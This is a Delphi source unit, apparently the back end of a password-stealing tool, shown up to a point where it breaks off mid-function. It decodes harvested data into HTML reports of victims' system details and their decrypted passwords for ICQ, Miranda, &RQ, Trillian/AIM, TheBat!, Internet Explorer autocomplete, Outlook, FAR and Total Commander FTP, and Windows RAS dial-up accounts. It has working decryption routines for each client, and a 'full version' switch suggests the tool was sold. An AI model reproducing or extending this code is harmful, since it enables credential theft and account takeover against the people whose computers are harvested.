unit xProcess;

{$DEFINE CFULL}

interface
uses
  Windows, SysUtils, Classes, xBase, XorKeyGen, WTCPwd, Dialogs, MadCrypt, MadZip;

function xProcessData(const Value: String): String;
procedure DecryptPass(dwVolumeSerial: LongWord; lpszMainLocation: Pointer; dwMainLocationLen: LongWord; lpszUIN: PChar); stdcall; external;

const
  cool1 = '<table cellspacing=1 cellpadding=0 bgcolor=#0080c0 border=0><tr><td><table cellspacing=0 cellpadding=3><tr><TD width=400 bgColor=#fafafa>';
  cool2 = '</td></tr></table></td></tr></table><br>';



implementation
var
  Modules: TStringList;
  EmptyModules: TStringList;
  ErrorModules: TStringList;


{$L ICQ2003Decrypt.OBJ}

function SafeHTML(const Value: String): String;
begin
  Result := StringReplace(Value, '<', '&lt;', [rfReplaceAll]);
  Result := StringReplace(Result, '>', '&gt;', [rfReplaceAll]);
end;

const
  b64alphabet: PChar = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';

function DecodeBase64(Value: String): String;
  function DecodeChunk(const Chunk: String): String;
  var
    W: LongWord;
    i: Byte;
  begin
    W := 0; Result := '';
    for i := 1 to 4 do
      if Pos(Chunk[i], b64alphabet) <> 0 then
        W := W + Word((Pos(Chunk[i], b64alphabet) - 1)) shl ((4 - i) * 6);
    for i := 1 to 3 do
      Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
  end;
begin
  Result := '';
  if Length(Value) mod 4 <> 0 then Exit;
  while Length(Value) > 0 do begin
    Result := Result + DecodeChunk(Copy(Value, 0, 4));
    Delete(Value, 1, 4);
  end;
end;

function MakeStringList(const Value: String): TStringList;
begin
  Result := TStringList.Create;
  Result.Text := Value;
end;

function GetModuleName(Value: TStringList): String;
begin
  if (Value.Count > 0) then
    Result := Copy(Value.Strings[0], Pos('[', Value.Strings[0])+1, Pos(']', Value.Strings[0]) - Pos('[', Value.Strings[0])-1)
  else
    Result := '';
end;

function GetValue(Value: TStringList; Index: Integer): String;
begin
  Result := Value.Strings[Index];
  Result := Trim(Copy(Result, Pos(':', Result)+1, Length(Result) - Pos(':', Result)));
end;

function GetName(Value: TStringList; Index: Integer): String;
begin
  Result := Value.Strings[Index];
  Result := Trim(Copy(Result, 0, Pos(':', Result)-1));
end;

function IntelCPU(Family, Model: Integer): String;
begin
  Result := 'Unknown';
  case Family of
    4: case Model of
      0: Result := '486 DX-25/33';
      1: Result := '486 DX-50';
      2: Result := '486 SX';
      3: Result := '486 DX/2';
      4: Result := '486 SL';
      5: Result := '486 SX/2';
      7: Result := '486 DX/2-WB';
      8: Result := '486 DX/4';
      9: Result := '486 DX/4-WB';
    end;
    5: case Model of
      0: Result := 'Pentium 60/66 A-step';
      1: Result := 'Pentium 60/66';
      2: Result := 'Pentium 75 - 200';
      3: Result := 'OverDrive PODP5V83';
      4: Result := 'Pentium MMX';
      7: Result := 'Mobile Pentium 75 - 200';
      8: Result := 'Mobile Pentium MMX';
    end;
    6: case Model of
      0: Result := 'Pentium Pro A-step';
      1: Result := 'Pentium Pro';
      3: Result := 'Pentium II (Klamath)';
      5: Result := 'Pentium II (Deschutes), Celeron (Covington), Mobile Pentium II (Dixon)';
      6: Result := 'Mobile Pentium II, Celeron (Mendocino)';
      7: Result := 'Pentium III (Katmai)';
      8: Result := 'Pentium III (Coppermine)';
    end;
    15: Result := 'Pentium IV';
  end;
end;

function AMDCPU(Family, Model: Integer): String;
begin
  Result := 'Unknown';
  case Family of
    4: case Model of
      3: Result := '486 DX/2';
      7: Result := '486 DX/2-WB';
      8: Result := '486 DX/4';
      9: Result := '486 DX/4-WB';
      14: Result := 'Am5x86-WT';
      15: Result := 'Am5x86-WB';
    end;
    5: case Model of
      0: Result := 'K5/SSA5';
      1..3: Result := 'K5';
      6,7: Result := 'K6';
      8: Result := 'K6-2';
      9: Result := 'K6-3';
      13: Result := 'K6-2+ or K6-III+';
    end;
    6: case Model of
      0..2: Result := 'Athlon';
      3: Result := 'Duron';
      4: Result := 'Athlon (Thunderbird)';
      6: Result := 'Athlon (Palamino)';
      7: Result := 'Duron (Morgan)';
    end;
  end;
end;

function CyrixCPU(Family, Model: Integer): String;
begin
  Result := 'Unknown';
  case Family of
    4: case Model of
      4: Result := 'MediaGX';
    end;
    5: case Model of
      2: Result := '6x86 / 6x86L';
      4: Result := 'MediaGX MMX Enhanced';
    end;
    6: case Model of
      0: Result := 'm II';
      5: Result := 'VIA Cyrix M2 core';
      6: Result := 'WinChip C5A';
      7: Result := 'WinChip C5B';
    end;
  end;
end;   

procedure HandleSysModule(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value: String;
  a, b, c: Int64;
  d: String;
  vendor: String;
  family, model: Integer;
begin
  vendor := '';
  model := -1;
  Res := Res + '<font class=hh>[System Info]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Name = 'OS' then begin
      a := StrToInt(Copy(Value, 0, Pos(' ', Value)-1));
      Delete(Value, 1, Pos(' ', Value));
      b := StrToInt(Copy(Value, 0, Pos(' ', Value)-1));
      Delete(Value, 1, Pos(' ', Value));
      c := StrToInt(Value);
      Res := Res + '<font class=hh2>OS:</font> ';
      if a = 3 then
        Res := Res + 'Windows NT 3.51'
      else if (a = 4) and (b = 0) and (c = VER_PLATFORM_WIN32_NT) then
        Res := Res + 'Windows NT 4'
      else if (a = 4) and (b = 0) then
        Res := Res + 'Windows 95'
      else if (a = 4) and (b = 10) then
        Res := Res + 'Windows 98'
      else if (a = 4) and (b = 90) then
        Res := Res + 'Windows Me'
      else if (a = 5) and (b = 0) then
        Res := Res + 'Windows 2000'
      else if (a = 5) and (b = 1) then
        Res := Res + 'Windows XP'
      else if (a = 5) and (b = 2) then
        Res := Res + 'Windows .NET Server 2003 family'
      else
        Res := Res + 'Unknown';
      Res := Res + '<br>'
    end else
    if Name = 'M' then begin
      a := StrToInt(Copy(Value, 0, Pos(' ', Value)-1));
      Delete(Value, 1, Pos(' ', Value));
      b := StrToInt(Value);
        Res := Res + '<font class=hh2>Memory:</font> Total ' + IntToStr(a div 1048576) + ' MB, Free ' + IntToStr(b div 1048576) + ' MB<br>';
    end else
    if Name = 'D' then begin
      d := Copy(Value, 0, Pos(' ', Value)-1);
      Delete(Value, 1, Pos('(', Value));
      a := StrToInt(Copy(Value, 0, Pos(')', Value)-1));
      Delete(Value, 1, Pos(')', Value));
      if a = DRIVE_FIXED then begin
        Delete(Value, 1, Pos(';', Value)+1);
        a := StrToInt(Copy(Value, 0, Pos(' ', Value)-1));
        Delete(Value, 1, Pos(' ', Value));
        b := StrToInt(Copy(Value, 0, Pos(' ', Value)-1));
        Delete(Value, 1, Pos(' ', Value));
        c := StrToInt(Value);
        Res := Res + '<font class=hh2>Drive ' + d + '</font> (Fixed): Total ' + IntToStr(Int64(a * b) div 1048576) + ' MB, Free ' + IntToStr(Int64(a * c) div 1048576) + ' MB';
      end else begin
        Res := Res + '<font class=hh2>Drive ' + d + '</font> (';
        case a of
          DRIVE_REMOVABLE: Res := Res + 'Removable';
          DRIVE_REMOTE: Res := Res + 'Remote';
          DRIVE_CDROM: Res := Res + 'CDROM';
          DRIVE_RAMDISK: Res := Res + 'Ramdisk';
        else
          Res := Res + 'Unknown';
        end;
        Res := Res + ')';
      end;
      Res := Res + '<br>';
    end else
    if Name = 'U' then
      Res := Res + '<font class=hh2>User Name:</font> ' + SafeHTML(Value) + '<br>'
    else if Name = 'CPV' then begin
      Res := Res + '<font class=hh2>CPU Vendor:</font> ' + SafeHTML(Value) + '<br>';
      vendor := Value
    end else if Name = 'CPM' then begin
      Res := Res + '<font class=hh2>CPU Model:</font> ' + Value + '<br>';
      model := StrToInt(Value);
    end else if Name = 'CPS' then
      Res := Res + '<font class=hh2>CPU Stepping:</font> ' + Value + '<br>'
    else if Name = 'CPF' then begin
      Res := Res + '<font class=hh2>CPU Family:</font> ' + Value + '<br>';
      family := StrToInt(Value);
      if (model <> -1) and (family <> -1) then begin
        if (vendor = 'GenuineIntel') then
          Res := Res + '<font class=hh2>CPU Type:</font> ' + IntelCPU(family, model) + '<br>'
        else if (vendor = 'AuthenticAMD') then
          Res := Res + '<font class=hh2>CPU Type:</font> ' + AMDCPU(family, model) + '<br>'
        else if (vendor = 'CyrixInstead') then
          Res := Res + '<font class=hh2>CPU Type:</font> ' + CyrixCPU(family, model) + '<br>';
      end;
    end else if Name = 'IP' then begin
      d := Copy(Value, Pos('(', Value)+1, Pos(')', Value) - Pos('(', Value) - 1);
      Delete(Value, 1, Pos(')', Value)+1);
      Value := Trim(Value);
      {$IFDEF CFULL}
      Res := Res + '<font class=hh2>Host Name:</font> ' + SafeHTML(d) + '<br>';
      {$ELSE}
      Res := Res + '<font class=hh2>Host Name:</font> &lt;full version feature&gt; <br>';      
      {$ENDIF}
      {$IFDEF CFULL}
      if Value <> '' then
        Res := Res + '<font class=hh2>Local IP:</font> ' + WSockAddrToIp(Cardinal(StrToInt64(Value))) + '<br>'
      else
        Res := Res + '<font class=hh2>Local IP:</font> &lt;error&gt; <br>';
      {$ELSE}
      Res := Res + '<font class=hh2>Local IP:</font> &lt;full version feature&gt; <br>';
      {$ENDIF}
    end;
  end;
  Res := Res + cool2;
end;

function HexToBuf(const Value: String; Buf: Pointer): Integer;
var
  i: Integer;
  S: String;
begin
  Result := 0;
  S := '';
  for i := 1 to Length(Value) do begin
    case Value[i] of
      'A'..'F', 'a'..'f', '0'..'9': S := S + Value[i];
      ' ', '(', ')', '[', ']': begin {do nothing} end;
    else
      Exit;
    end;
    if Length(S) = 2 then begin
      PByte(Buf)^ := HexToInt(S);
      Buf := Ptr(LongWord(Buf) + 1);
      S := '';
      Inc(Result);
    end;
  end;
end;

function PassToHex(const Value: String): String;
var
  i: Word;
begin
  Result := '';
  for i := 1 to Length(Value) do
    Result := Result + ' ' + IntToHex(Ord(Value[i]), 2);
end;

procedure HandleICQ2003Module(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value, uin: String;
  id: LongWord;
  len: Integer;
  buf: array[0..32] of Byte;
begin
  id := 0;
  Res := Res + '<font class=hh>[ICQ2003a/Lite]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Name = 'S' then begin
      HexToBuf(Value, @id)
    end else if Copy(Name, 0, 3) = 'UIN' then begin
      uin := Copy(Name, Pos('(', Name)+1, Pos(')', Name)-Pos('(', Name)-1);
      len := HexToBuf(Value, @buf);
      DecryptPass(id, @buf, len, PChar(uin));
      Value := PChar(@buf);
      if Length(Value) > 0 then
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> ' + SafeHTML(Value) + ' (in hex:' + PassToHex(Value) + ')<br>'
      else begin
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> &lt;cannot decrypt&gt;' + '<br>';
        ErrorModules.Values[GetModuleName(Items)] := 'ERR';
      end;
    end;
  end;
  Res := Res + cool2;
end;

procedure HandleICQ99bModule(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value, uin: String;
begin
  Res := Res + '<font class=hh>[ICQ99b-2002a]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Copy(Name, 0, 3) = 'UIN' then begin
      uin := Copy(Name, Pos('(', Name)+1, Pos(')', Name)-Pos('(', Name)-1);
      Name := Copy(Value, Pos('[', Value)+1, Pos(']', Value)-Pos('[', Value)-1);
      Delete(Value, 1, Pos(']', Value)+1);
      Value := Decrypt99bPassword(StrToInt(uin), StrToInt(Name), Value);
      if Length(Value) > 0 then
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> ' + SafeHTML(Value) + ' (in hex:' + PassToHex(Value) + ')<br>'
      else begin
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> &lt;cannot decrypt&gt;<br>';
        ErrorModules.Values[GetModuleName(Items)] := 'ERR';
      end;
    end;
  end;
  Res := Res + cool2;
end;

procedure HandleMirandaModule(Items: TStringList; var Res: String);
var
  i, j: Integer;
  Name, Value, uin: String;
  len: Integer;
  buf: array[0..32] of Byte;
begin
  Res := Res + '<font class=hh>[Miranda]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Copy(Name, 0, 3) = 'UIN' then begin
      uin := Copy(Name, Pos('(', Name)+1, Pos(')', Name)-Pos('(', Name)-1);
      len := HexToBuf(Value, @buf);
      for j := 0 to len-1 do
        buf[j] := buf[j]-5;
      buf[len] := 0;
      Res := Res + '<font class=hh2>UIN(' + uin + '):</font> ' + SafeHTML(PChar(@buf)) + ' (in hex:' + PassToHex(PChar(@buf)) + ')<br>'
    end;
  end;
  Res := Res + cool2;
end;

const
  TXorData: array[0..15] of Byte = (
    $F3, $26, $81, $C4, $39, $86, $DB, $92,
    $71, $A3, $B9, $E6, $53, $7A, $95, $7C
  );

procedure ICQEncryptPass(SrcBuf: Pointer; BufLen: LongWord); assembler;
asm
        or    edx,edx
        jz    @@end
@@loop:
        mov   cl,[eax + edx - 1]
        xor   cl,byte ptr[TXorData + edx - 1]
        mov   [eax + edx - 1],cl
        dec   edx
        jnz   @@loop
@@end:
end;

procedure HandleTrillianModule(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value: String;
  len: Integer;
  buf: array[0..32] of Byte;
  function IsICQ(const Value: String): Boolean;
  var
    i: Word;
  begin
    Result := True;
    for i := 1 to Length(Value) do
      Result := Result and (Value[i] in ['0'..'9']);
  end;
begin
  Res := Res + '<font class=hh>[Trillian]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    len := HexToBuf(Value, @buf);
    ICQEncryptPass(@buf, len);
    buf[len] := 0;
    if IsICQ(Name) then
      Res := Res + '<font class=hh2>UIN(' + Name + '):</font> ' + SafeHTML(PChar(@buf)) + ' (in hex:' + PassToHex(PChar(@buf)) + ')<br>'
    else
      Res := Res + '<font class=hh2>AIM(' + SafeHTML(Name) + '):</font> ' + SafeHTML(PChar(@buf)) + ' (in hex:' + PassToHex(PChar(@buf)) + ')<br>';
  end;
  Res := Res + cool2;
end;

const
  b64alphabet2: PChar = '+-0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';

function DecodeBaseTB(Value: String): String;
  function DecodeChunk(const Chunk: String): String;
  var
    W: LongWord;
    i: Byte;
  begin
    W := 0; Result := '';
    for i := 1 to 4 do
      if Pos(Chunk[i], b64alphabet2) <> 0 then
        W := W + Word((Pos(Chunk[i], b64alphabet2) - 1)) shl ((4 - i) * 6);
    for i := 1 to 3 do
        Result := Result + Chr(W shr ((3 - i) * 8) and $ff);
  end;
begin
  Result := '';
  if Length(Value) mod 4 <> 0 then Exit;
  while Length(Value) > 0 do begin
    Result := Result + DecodeChunk(Copy(Value, 0, 4));
    Delete(Value, 1, 4);
  end;
end;

function DecryptTheBatPass(const Value: String): String;
var
  S: String;
  i: Integer;
  Len: Integer;
begin
  Result := '&lt;cannot decrypt&gt;';
  S := DecodeBaseTB(Value);
  if Length(S) < 4 then Exit;
  for i := 1 to 4 do
    S[i] := Chr($FF - Ord(S[i]));
  Len := PDWord(@S[1])^;
  Delete(S, 1, 4);
  for i := 1 to Length(S) do
    S[i] := Chr(Ord(S[i]) xor $5A);
  Result := '';
  for i := Len downto 1 do
    Result := Result + S[i];
end;

procedure HandleTheBatModule(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value, s1, s2: String;
  first: Boolean;
begin
  first := True;
  Res := Res + '<font class=hh>[TheBat!]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    s1 := Copy(Value, Pos('(', Value)+1, Pos(')', Value)-Pos('(', Value)-1);
    s2 := Copy(Value, Pos('[', Value)+1, Pos(']', Value)-Pos('[', Value)-1);
    Delete(Value, 1, Pos('] ', Value)+1);
    if not first then
      Res := Res + '<hr noshade size=1>';
    first := False;
    Res := Res + '<font class=hh2>Email:</font> ' + SafeHTML(Name) + '<br>' +
                 '<font class=hh2>POP3 Server:</font> ' + SafeHTML(s1) + '<br>' +
                 '<font class=hh2>User:</font> ' + SafeHTML(DecryptTheBatPass(s2)) + '<br>' +
                 '<font class=hh2>Password:</font> ' + SafeHTML(DecryptTheBatPass(Value));
    if (DecryptTheBatPass(Value) = '&lt;cannot decrypt&gt;') or (DecryptTheBatPass(s2) = '&lt;cannot decrypt&gt;') then
      ErrorModules.Values[GetModuleName(Items)] := 'ERR';
  end;
  Res := Res + cool2;
end;

function WToS(Buf: Pointer): String;
begin
  Result := WideCharToString(Buf);
end;

procedure HandlePSModule(Items: TStringList; var Res: String);
var
  i, len, j, p, k, l: Integer;
  Name, Value, s, r: String;
  buf: array[0..128000] of Byte;
  Outlook: TStringList;
  Data: TStringList;
  hehe: TStringList;
  first: Boolean;
begin
  Res := Res + '<font class=hh>[IE/Outlook]</font><br>' + cool1;
  first := True;
  Outlook := TStringList.Create;
  Data := TStringList.Create;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Name = 'A' then begin
      if not first then
        Res := Res + '<hr noshade size=1>';
      first := False;
      FillChar(buf, SizeOf(buf), 0);
      Res := Res + '<font class=s>Autocomplete</font> (' + SafeHTML(Copy(Value, 0, Pos(':StringData', Value)-1)) + ')<br>';
      Value := Copy(Value, Pos('(', Value)+1, Pos(')', Value)-Pos('(', Value)-1);
      FillChar(buf, sizeof(buf), 0);
      len := HexToBuf(Value, @buf);
      buf[len] := 0;
      p := 0; k := 0; r := '';
      while p <= len do begin
        s := WToS(@buf[p]);
        p := p + Length(s) * 2 + 2;
        k := 1-k;
        if k = 0 then
          r := r + ':' + s + '<br>'
        else
          r := r + s;
      end;
      Res := Res + r;
    end else
    if Name = 'PSite' then begin
      if not first then
        Res := Res + '<hr noshade size=1>';
      first := False;
      s := Copy(Value, 0, Pos(' (', Value)-1);
      if Copy(s, 0, 6) = 'ftp://' then begin
        Res := Res + '<font class=s>FTP</font> (' + SafeHTML(s) + ')<br>';
      end else
        Res := Res + '<font class=s>Protected Site</font> (' + SafeHTML(s) + ')<br>';
      Value := Copy(Value, Pos('(', Value)+1, Pos(')', Value)-Pos('(', Value)-1);
      len := HexToBuf(Value, @buf);
      buf[len] := 0;
      if Copy(s, 0, 6) = 'ftp://' then
        Res := Res + SafeHTML(WtoS(@buf)) + '<br>'
      else
        Res := Res + SafeHTML(PChar(@buf)) + '<br>';
    end else
    if Name = 'O' then
      Outlook.Add(Value)
    else
      Data.Add(Items.Strings[i]);
  end;
  s := '';
  hehe := TStringList.Create;
  {Outlook post processing}
  for i := 0 to Data.Count - 1 do begin
    if Data.Strings[i] = '--begin--' then s := ''
    else if Data.Strings[i] = '--end--' then begin
      if not first then
        Res := Res + '<hr noshade size=1>';
      first := False;
      Res := Res + '<font class=s>Outlook</font><br>';
      hehe.Text := s;
      for j := 0 to hehe.Count - 1 do begin
        Name := Copy(hehe.Strings[j], Pos('(', hehe.Strings[j])+1, Pos(')', hehe.Strings[j])-Pos('(', hehe.Strings[j])-1);
        Value := Copy(hehe.Strings[j], Pos('[', hehe.Strings[j])+1, Pos(']', hehe.Strings[j])-Pos('[', hehe.Strings[j])-1);
        len := HexToBuf(Value, @buf);
        buf[len] := 0;
        if (Name = 'POP3 Password2') or (Name = 'IMAP Password2') then begin
          Value := WtoS(@buf);
          Delete(Value, 1, 1);
          for k := 0 to Outlook.Count - 1 do begin
            if Pos(Value, Outlook.Strings[k]) > 0 then begin
              r := '';
              for l := Length(Outlook.Strings[k]) downto 1 do begin
                if Outlook.Strings[k][l] = '(' then Break;
                if Outlook.Strings[k][l] <> ')' then
                  r := Outlook.Strings[k][l] + r;
              end;
              len := HexToBuf(r, @buf);
              buf[len] := 0;
              if Name = 'POP3 Password2' then
                Res := Res + '<font class=hh2>POP3 Password:</font> ' + SafeHTML(PChar(@buf)) + '<br>'
              else
                Res := Res + '<font class=hh2>IMAP Password:</font> ' + SafeHTML(PChar(@buf)) + '<br>';
            end;
          end;
        end else
          Res := Res + '<font class=hh2>' + SafeHTML(Name) + ':</font> ' + SafeHTML(PChar(@buf)) + '<br>';
      end;
    end else
      s := s + Data.Strings[i] + #13#10;
  end;
  hehe.Free;
  Outlook.Free;
  Data.Free;
  
  Res := Res + cool2;
end;

procedure HandleFARModule(Items: TStringList; var Res: String);
var
  i, len, j, k: Integer;
  Name, Value, s, p1: String;
  buf: array[0..$100] of Byte;
  Data: TStringList;
  first: Boolean;
const
  fpath = 'SOFTWARE\FAR\PLUGINS\FTP\HOSTS\';
begin
  Res := Res + '<font class=hh>[FAR]</font><br>' + cool1;
  s := '';
  first := True;
  for i := 1 to Items.Count - 1 do begin
    if Items.Strings[i] = '--begin--' then s := ''
    else if Items.Strings[i] = '--end--' then begin
      if not first then
        Res := Res + '<hr noshade size=1>';
      first := False;
      Data := TStringList.Create;
      Data.Text := s;
      for j := 0 to Data.Count - 1 do begin
        Name := GetName(Data, j);
        Value := GetValue(Data, j);
        if ((Name = 'HostName') or (Name = 'User') or (Name = 'Description')) and (Value <> '') then
          Res := Res + '<font class=hh2>' + Name + ':</font> ' + SafeHTML(Value) + '<br>'
        else if (Name = 'II') then begin
          p1 := AnsiUpperCase(Value);
          if Copy(p1, 0, Length(fpath)) = fpath then begin
            Delete(Value, 1, Length(fpath));
            if Copy(AnsiUpperCase(Value), 0, 4) <> 'ITEM' then
              Res := Res + '<font class=hh2>HostName:</font> ' + SafeHTML(Value) + '<br>'
          end;
        end else if Name = 'password' then begin
          len := HexToBuf(Value, @buf);
          buf[len] := 0;
          buf[0] := buf[0] xor buf[1] or $50; //key
          for k := 2 to len-1 do
            buf[k] := buf[k] xor buf[0];
          Res := Res + '<font class=hh2>Password:</font> ' + SafeHTML(PChar(@buf[2])) + '<br>';
        end;
      end;
      Data.Free;
    end else
      s := s + Items.Strings[i] + #13#10;
  end;
  Res := Res + cool2;
end;

procedure HandleWTCModule(Items: TStringList; var Res: String);
var
  i, j: Integer;
  Name, Value, s: String;
  Data: TStringList;
  first: Boolean;
begin
  Res := Res + '<font class=hh>[Windows/Total Commander]</font><br>' + cool1;
  s := '';
  first := True;
  for i := 1 to Items.Count - 1 do begin
    if Items.Strings[i] = '--begin--' then s := ''
    else if Items.Strings[i] = '--end--' then begin
      Data := TStringList.Create;
      Data.Text := s;
      s := '';
      for j := 0 to Data.Count - 1 do begin
        Name := GetName(Data, j);
        Value := GetValue(Data, j);
        if Name = 'method' then begin
          s := '';
          Break;
        end;
        if (Name = 'host') then
          s := s + '<font class=hh2>Host:</font> ' + SafeHTML(Value) + '<br>'
        else if Name = 'password' then
          s := s + '<font class=hh2>Password:</font> ' + SafeHTML(WTCDecrypt(Value)) + '<br>'
        else if Name = 'username' then
          s := s + '<font class=hh2>User:</font> ' + SafeHTML(Value) + '<br>'
      end;
      if s <> '' then begin
        if not first then
          Res := Res + '<hr noshade size=1>';
        first := False;
        Res := Res + s;
      end;
      Data.Free;
    end else
      s := s + Items.Strings[i] + #13#10;
  end;
  Res := Res + cool2;
end;

procedure FindNtRasPassword(ntpswbuf, szPassword: PChar; dpuid: DWORD; un: String);
var
  m: DWord;
  cdpuid: array[0..7] of Char;
  bufsz: Word;
  e, dl: Byte;
begin
  m := 0;
  bufsz := PWord(ntpswbuf)^ - 4; // Buf len
  StrPCopy(cdpuid, IntToStr(dpuid));
  dl := Length(PChar(@cdpuid));
  while m < bufsz do begin
    if(ntpswbuf[m] = cdpuid[0]) then begin
       e := 0;
       while (m < bufsz) and (e < dl) do begin
         if(ntpswbuf[m] <> cdpuid[e]) then Break;
         Inc(m); Inc(e);
       end;
       if e = dl then begin
         while m < bufsz do begin
           if (ntpswbuf[m] = #0) then begin
             while m < bufsz do begin
               if (ntpswbuf[m] <> #0) then Break;
               Inc(m);
             end;
             if PChar(@ntpswbuf[m]) = un then begin
               Inc(m, Length(un) + 1);
               if m < bufsz then begin
                 Move(Ptr(LongWord(ntpswbuf)+m)^, szPassword^, strlen(Ptr(LongWord(ntpswbuf)+m))+1);
                 Exit;
               end;
             end;
           end;
           Inc(m);
         end;
       end;
    end;
    Inc(m);
  end;
end;

procedure FindNtRasPassword2(ntpswbuf, szPassword: PChar; dpuid: DWORD);
var
  m: DWord;
  cdpuid: array[0..7] of Char;
  bufsz: Word;
  e, dl: Byte;
begin
  m := 0;
  bufsz := PWord(ntpswbuf)^ - 4;
  StrPCopy(cdpuid, IntToStr(dpuid));
  dl := Length(PChar(@cdpuid));
  while m < bufsz do begin
    if(ntpswbuf[m] = cdpuid[0]) then begin
       e := 0;
       while (m < bufsz) and (e < dl) do begin
         if(ntpswbuf[m] <> cdpuid[e]) then Break;
         Inc(m); Inc(e);
       end;
       if e = dl then begin
         e := 0;
         while m < bufsz do begin
           if (ntpswbuf[m] = #0) then begin
             while m < bufsz do begin
               if (ntpswbuf[m] <> #0) then Break;
               Inc(m);
             end;
             if (ntpswbuf[m] = #0) then Break;
             if (e = 3) then begin
               Move(Ptr(LongWord(ntpswbuf)+m)^, szPassword^, strlen(Ptr(LongWord(ntpswbuf)+m))+1);
               Exit;
             end;
             Inc(e);
           end;
           Inc(m);
         end;
       end;
    end;
    Inc(m);
  end;
end;

procedure HandleRASModule(Items: TStringList; var Res: String);
var
  i, j, w: Integer;
  Name, Value, s: String;
  Data: TStringList;
  first: Boolean;
  buf: Pointer;
  buf_len: Integer;
  val: Integer;
  megapass: array[0..$100] of Char;
  megapass2: array[0..$100] of Char;
  un: String;
begin
  Res := Res + '<font class=hh>[RAS]</font><br>' + cool1;
  s := '';
  first := True;
  w := 1;
  val := 0;

  un := '';

  GetMem(buf, 128000);

  if (GetName(Items, 1) = 'D') then begin
    buf_len := HexToBuf(GetValue(Items, 1), buf);
    Inc(w);
  end else
    buf_len := 0;

  for i := w to Items.Count - 1 do begin
    if Items.Strings[i] = '--begin--' then begin
      un := 'jkdsf;kjd;lkjad;lkj|||';
      val := 0;
      s := ''
    end else if Items.Strings[i] = '--end--' then begin
      Data := TStringList.Create;
      Data.Text := s;
      s := '';
      for j := 0 to Data.Count - 1 do begin
        Name := GetName(Data, j);
        Value := GetValue(Data, j);
        if Name = 'PD' then
          val := StrToInt(Value)
        else if Name = 'PN' then
          s := s + '<font class=hh2>Phone:</font> ' + SafeHTML(Value) + '<br>'
        else if Name = 'AC' then
          s := s + '<font class=hh2>Area code:</font> ' + SafeHTML(Value) + '<br>'
        else if Name = 'CC' then
          s := s + '<font class=hh2>Country code:</font> ' + SafeHTML(Value) + '<br>'
        else if Name = 'P' then begin
          StrPCopy(@megapass, Value);
          StrPCopy(@megapass2, Value);
          if Length(Value) = 0 then FillChar(megapass, sizeof(megapass), 0);
          if (val <> 0) and (buf_len <> 0) then begin
            FindNtRasPassword(buf, @megapass, val, un);
            FindNtRasPassword2(buf, @megapass2, val);            
          end;
          s := s + '<font class=hh2>Password:</font> ' + SafeHTML(PChar(@megapass)) + '<br>';
          if PChar(@megapass) <> PChar(@megapass2) then
            s := s + '<font class=hh2>Password2:</font> ' + SafeHTML(PChar(@megapass2)) + '<br>'
        end else if Name = 'UN' then begin
          un := Value;
          s := s + '<font class=hh2>Username:</font> ' + SafeHTML(Value) + '<br>'
        end else if Name = 'EN' then
          s := s + '<font class=hh2>Description:</font> ' + SafeHTML(Value) + '<br>';
      end;
      if s <> '' then begin
        if not first then
          Res := Res + '<hr noshade size=1>';
        first := False;
        Res := Res + s;
      end;
      Data.Free;
    end else
      s := s + Items.Strings[i] + #13#10;
  end;
  Res := Res + cool2;

  FreeMem(buf);
end;

function DecryptRQPass(const Value: PChar): String;
var
  m_nCode, pwd_len, i: Cardinal;
  m_szPwd: array[0..8] of Byte;
  m_szBuf: array[0..127] of Byte;
begin
  m_nCode := 0;
  FillChar(m_szPwd, SizeOf(m_szPwd), 0);
  FillChar(m_szBuf, SizeOf(m_szPwd), 0);

  pwd_len := Length(Value);
  Move(Value^, m_szBuf, pwd_len);
  i := 0;
  while i <= pwd_len do begin
    if (PByte(LongWord(Value) + i)^ >= 40) and (PByte(LongWord(Value) + i)^ <= 55) and (PByte(LongWord(Value) + i + 1)^ >= 40) and (PByte(LongWord(Value) + i + 1)^ <= 55) then begin
      m_szPwd[m_nCode] := (m_szBuf[i + 1] - 40) * 16 + (m_szBuf[i] - 40);
      Inc(m_nCode);
      Inc(i, 2);
    end;
    Inc(i);
  end;
  m_szPwd[8] := 0;
  Result := PChar(@m_szPwd);
end;

procedure HandleRQModule(Items: TStringList; var Res: String);
var
  i: Integer;
  Name, Value, uin: String;
begin
  Res := Res + '<font class=hh>[&RQ]</font><br>' + cool1;
  for i := 1 to Items.Count-1 do begin
    Name := GetName(Items, i);
    Value := GetValue(Items, i);
    if Copy(Name, 0, 3) = 'UIN' then begin
      uin := Copy(Name, Pos('(', Name)+1, Pos(')', Name)-Pos('(', Name)-1);
      if Length(Value) > 3 then
        Value := DecryptRQPass(PChar(Value))
      else
        Value := '';

      if Value = '' then begin
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> &lt;cannot decrypt&gt;<br>';
        ErrorModules.Values[GetModuleName(Items)] := 'ERR';        
      end else
        Res := Res + '<font class=hh2>UIN(' + uin + '):</font> ' + SafeHTML(Value) + ' (in hex:' + PassToHex(Value) + ')<br>';
    end;
  end;
  Res := Res + cool2;
end;

function ModuleToStr(const Module: String): String;
begin
  if Module = 'SI' then
    Result := 'System Info'
  else if Module = '2003' then
    Result := 'ICQ2003a/Lite'
  else if Module = 'M' then
